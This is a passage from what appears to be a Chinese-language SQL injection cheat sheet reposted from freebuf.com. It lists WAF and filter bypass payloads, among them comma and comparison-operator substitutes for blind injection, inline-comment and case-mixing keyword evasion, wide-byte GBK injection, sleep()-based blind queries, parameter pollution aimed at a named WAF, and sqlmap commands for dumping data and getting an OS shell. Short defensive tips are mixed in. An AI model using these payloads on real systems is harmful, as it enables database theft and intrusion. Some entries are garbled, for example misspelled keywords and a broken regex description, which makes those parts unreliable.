±变为了:

select column_name  from information_schema.tables where table_name=0x7573657273

4.逗号绕过(使用from或者offset):#

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join:

union select 1,2     #等价于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

对于limit可以使用offset来绕过:

select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0

5.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):#

使用greatest()、least():(前者返回最大值,后者返回最小值)#

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。   最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。   那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
使用between and: #

between a and b:

between 1 and 1; 等价于 =1

6.or and xor not绕过:#

and=&&  or=||   xor=|   not=!

7.绕过注释符号(#,–(后面跟一个空格))过滤:#

id=1' union select 1,2,3||'1

最后的or ‘1闭合查询语句的最后的单引号,或者:

id=1' union select 1,2,'3

8.=绕过:#

使用like 、rlike 、regexp 或者 使用< 或者 >

9.绕过union,select,where等:#

(1)使用注释符绕过:#

常用注释符:

//,-- , /**/, #, --+, -- -, ;,%00,--a

用法:

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
(2)使用大小写绕过:#
id=-1'UnIoN/**/SeLeCT
(3)内联注释绕过:#
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):#
id=-1'UNIunionONSeLselectECT1,2,3–-

10.通用绕过(编码):#

如URLEncode编码,ASCII,HEX,unicode编码绕过:

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

11.等价函数绕过:#

hex()、bin() ==> ascii()
​
sleep() ==>benchmark()
​
concat_ws()==>group_concat()
​
mid()、substr() ==> substring()
​
@@user ==> user()
​
@@datadir ==> datadir()
​
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
​
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

12.宽字节注入:#

过滤 ‘ 的时候往往利用的思路是将 ‘ 转换为 ‘ 。

在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

(1)%df 吃掉 \ 具体的方法是 urlencode(‘) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:

id=-1%df%27union select 1,user(),3--+

(2)将 ‘ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

一般产生宽字节注入的PHP函数:#

1.replace():过滤 ‘ \ ,将 ‘ 转化为 ‘ ,将 \ 转为 \,将 ” 转为 ” 。用思路一。

2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , ” , \ 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

3.mysql_real_escape_string():转义下列字符:

\x00     \n     \r     \     '     "     \x1a

(防御,将mysql设置为gbk即可)

PCRE绕过:#

union/’+’a’1000001+’*/select

id=-1'UnIoN/**/SeLeCT

19.预防SQL注入

1.预防:魔术引号或者addslash()对特殊符号转义,预编译,单引号或者双引号直接置空(递归),如果确定传递的参数是整数,就需要进行强制类型转换。md5加密 select * from table_name where username=?,password=?;

2.内置函数

is_int

if语句判断是否为数字 不是的话直接过滤掉

3.自定义关键字

$id=str_replace('select','111',$id )

4.WAF防护软件:宝塔,安全狗等

20.SQLMAP

通过GET

url: 1.暴数据库 –dbs 2.暴数据表 –tables -D xx 3.暴数据列 –columns -D xx -T xx 4.暴数据 -D xx -T xx -C xx –dump

通过POST

进行burp抓包 然后把http头部弄成txt文件

sqlmap -r 11.txt -p 参数

-p指定参数

–os -shell

判断是否为高权限用户 –us-dba

判断当前数据库 –current-db

https://www.cnblogs.com/bmjoker/p/9326258.html

21.正则表达 模糊匹配

正则匹配表达式:^表示以哪个字母开头,表示以哪个字母结尾,代表通配符代表字符或者数字,代表空格,代表个或一个,代表一个或多个,代表个或多个=true 说明是admin这个字符串 模糊匹配:%代表通配符 http://127.0.0.1/sqllab/Less-8/?id=1‘ and if(ascii(substr(database(),1,1))=115,1,sleep(5)) –+

22.实战总结

绕过可以加<> sele<>ct

23.高权限注入(root用户)

通过一个网站可以注入到其他网站的数据库

文件读写注入

决定网站注入点用户权限

连接数据库配置文件

24.魔术引号

或使用函数addslashes()

对/ ‘ “ 进行转义

magic_quores_gpc 在PHP ini里

利用编码和宽字节绕过

25.数据库类型

利用SQLMAP扫描判断数据库类型

1.ACCESS

表名 列名 数据

数据库独立存在

2.SQL SERVER

3.ORACLE

4.Mongdb

https://blog.csdn.net/qq_39936434/article/details/95319449

26.加解密

参数加密要将payload全部一起加密

27.DNSLOG注入

文件读写无法写入webshell

解决盲注不能回显数据 效率低

28.waf绕过-sql注入

对参数数据进行修改

大小写 加密解密 编码解码 等价函数 特殊符号 反序列化 注释符混用

提交方式

更改提交方式 变异

其他

Fuzz大法 数据库特性 垃圾数据溢出

HTTP参数污染

安全狗

更改提交方式 内联注释

%0a/ 换行符 %23 #号

%23a%0a select 1,2,3 #

参数污染

id=1/**&id=-1%20union%20select%201,2,3,%23*/

安全狗匹配的时候匹配的是1/-1 union select 1,2,3#*/或1/&id=-1%20union%20select%201,2,3%23/其中符号中起到注释作用,正常情况下没有执行,安全狗直接不管,但是参数污染导致接受的真实数据是-1 union select 1,2,3#/能正常执行sql 当前执行语句: SELECT* FROM users WHERE id=-1 union select 1,2,3#*/参数污染

index.php/x.txt?id

URL白名单

爬虫白名单

`/*!50000 select*/ 1,2,3

payload

t部分bypass sqlinject payload 1.id=1 union/*%00*/%23a%0A/*!/*!sclect 1,2,3*/;%232.id=-1 union/*%00*/%23a%0A/* !/*!select%201, database%23%0A(),3*/;%23

29.sqlmap绕过waf

写py脚本 user-au修改

cc攻击防范 爬虫白名单 代理池 延时

延时–delay

爬虫白名单可以通过-r 修改txt文件中的浏览器信息或sqlmap参数自定义

来源:freebuf.com 2021-03-30 23:12:24 by: x71061

正文完
 0
评论(没有评论)